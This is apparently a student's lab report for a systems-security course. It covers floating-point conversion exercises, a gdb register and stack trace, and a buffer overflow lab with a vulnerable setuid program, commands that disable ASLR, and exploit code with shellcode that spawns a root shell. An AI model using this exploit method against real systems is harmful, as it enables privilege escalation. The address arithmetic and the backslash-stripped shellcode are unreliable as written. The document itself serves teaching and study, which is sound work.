2017-2018-1 20155318 《信息安全系统设计基础》第六周课堂测试补充
ch02-3
补充提交,课上提交截图不完备
在代码输出那一行设置断点(gdb) b 5
,输出x,ux的值。
课后练习2.96
- 要求: 构造一个函数
int float_f2i(float_bits f);
对于浮点数,这个函数计算 (int)f,如果f是NaN,向零舍入。如果f不能用整数表示(例如,超出表示范围,或者它是一个NaN),那么那么函数返回0x80000000。测试函数,对参数f可以取的所有2^32个值求值,将结果与使用的机器的浮点运算得到的结果相比较。 - 思路: 首先,看是否是浮点数且不超范围,超过表示范围,置为最大整数,若太小,不能化为整数,置为0。其次看符号 设置+,-号。如果是NaN,置为0x80000000
- 出现的问题:输入负数时,只会输出-2147483648
- 解决方案:函数形参为无符号型,输入负数时和整数转化不同,加了一行代码打印当前输入,负数时,将无符号转化为浮点型解决
课后练习2.97
构造函数float_bits float_i2f(int i);
- 要求: 对于函数i,这个函数计算(float)i的位级表示。
测试你的函数,对参数f可以取的所有2^32个值求值,将结果与你使用的机器的浮点运算得到的结果相比较。 - 思路与上一题类似,主函数加了一个循环不用每次输入都运行
ch03-5
- 要求:
- 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码
int g(int x){
return x+3;
}
int f(int x){
int i = 学号后两位;
return g(x)+i;
}
int main(void){
return f(8)+1;
}
- 参考http://www.cnblogs.com/lxm20145215----/p/5982554.html,使用gdb跟踪汇编代码,在纸上画出f中每一条语句引起的eip(rip),ebp(rbp),esp(rsb),eax(rax)的值和栈的变化情况。提交照片,要有学号信息。
- 实验步骤:(自己电脑安装32位库有问题,在实验楼完成的)
- 使用
gcc - g xxx.c -o xxx -m32
指令在64位的机器上产生32位汇编,然后使用gdb xxx
指令进入gdb调试器 - 进入之后先在main函数处设置一个断点,再run一下,使用disassemble指令获取汇编代码,用i(info) r(registers)指令查看各寄存器的值
- 可见此时主函数的栈基址为0xffffd454,用x(examine)指令查看内存地址中的值,但目前%esp所指堆栈内容为0,%ebp所指内容也为0
- call指令将下一条指令的地址入栈,此时%esp,%ebp和堆栈的值为:
- 执行sub语句:
- 赋值语句i=18
- 实参入栈
- 执行到断点处
指令 | %esp | %ebp | %eip | %eax | 堆栈 |
---|---|---|---|---|---|
push %ebp | 0xffffd454 | 0xffffd458 | 0x804841d | 0x1 | 0x0 |
mov %esp,%ebp | 0xffffd454 | 0xffffd458 | 0x804841f | 0x1 | 0x0 |
movl %esp,%ebp | 0xffffd454 | 0xffffd458 | 0x8048422 | 0x1 | 0x8 0x0 |
call 0x80483f8 | 0xffffd454 | 0xffffd458 | 0x8048424 | 0x1 | 0x8 0x0 |
push %ebp | 0xffffd450 | 0xffffd458 | 0x80483f8 | 0x1 | 0x8048429<main+18> 0x8 0x0 |
mov %esp,%ebp | 0xffffd44c | 0xffffd458 | 0x80483f9 | 0x1 | 0xffffd458 0x8048429<main+18> 0x8 0x0 |
sub $0x14,%esp | 0xffffd44c | 0xffffd44c | 0x80483fb | 0x1 | 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3 |
movl $0x12,-0x4(%ebp) | 0xffffd438 | 0xffffd44c | 0x80483fe | 0x1 | 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3 0x1 |
mov 0x8(%ebp),%eax | 0xffffd438 | 0xffffd44c | 0x8048405 | 0x1 | 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3 0x1 0xfffd4f4 |
mov %eax,(%esp) | 0xffffd438 | 0xffffd44c | 0x8048408 | 0x8 | 0xffffd458 0x8048429<main+18> 0x8 0x0 0xf7e38ad3 0x1 0xfffd4f4 0xfffd4fc |
缓冲区溢出漏洞实验
- 为搭建32位操作环境输入以下三个命令安装用于编译32位C程序的工具:
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
- 我们使用以下命令关闭地址空间随机化这一功能:
sudo sysctl -w kernel.randomize_va_space=0
-
出现了如下问题:
-
关闭实验楼重新打开后恢复正常
-
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令设置zsh程序:
-
shellcode
-
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
-
本次实验的shellcode就是下方代码的汇编版本“x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80”:
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
- 在64位的机器上产生32位汇编:
gcc -m32 -g shellcode.c -o shellcode
- 在“/tmp”目录下保存以下代码为“stack.c”:
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);//将主函数中读入的文件内容装入“buffer”
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");//读取一个名为“badfile”的文件
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
- 编译该程序,并设置SET-UID:
- sudo su
- gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
- chmod u+s stack
- exit
攻击刚才的漏洞程序,并通过攻击获得root权限。把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码中x??x??x??x??
处需要添上shellcode保存在内存中的地址
shellcode保存在内存中的地址:
gdb stack
disass main
- 根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd2a0(十六进制)+100(十进制)=0xffffd214(十六进制)
- 修改exploit.c,将
x??x??x??x??
修改为x04xd3xffxff
- 运行攻击程序exploit和漏洞程序stack,通过攻击得到root权限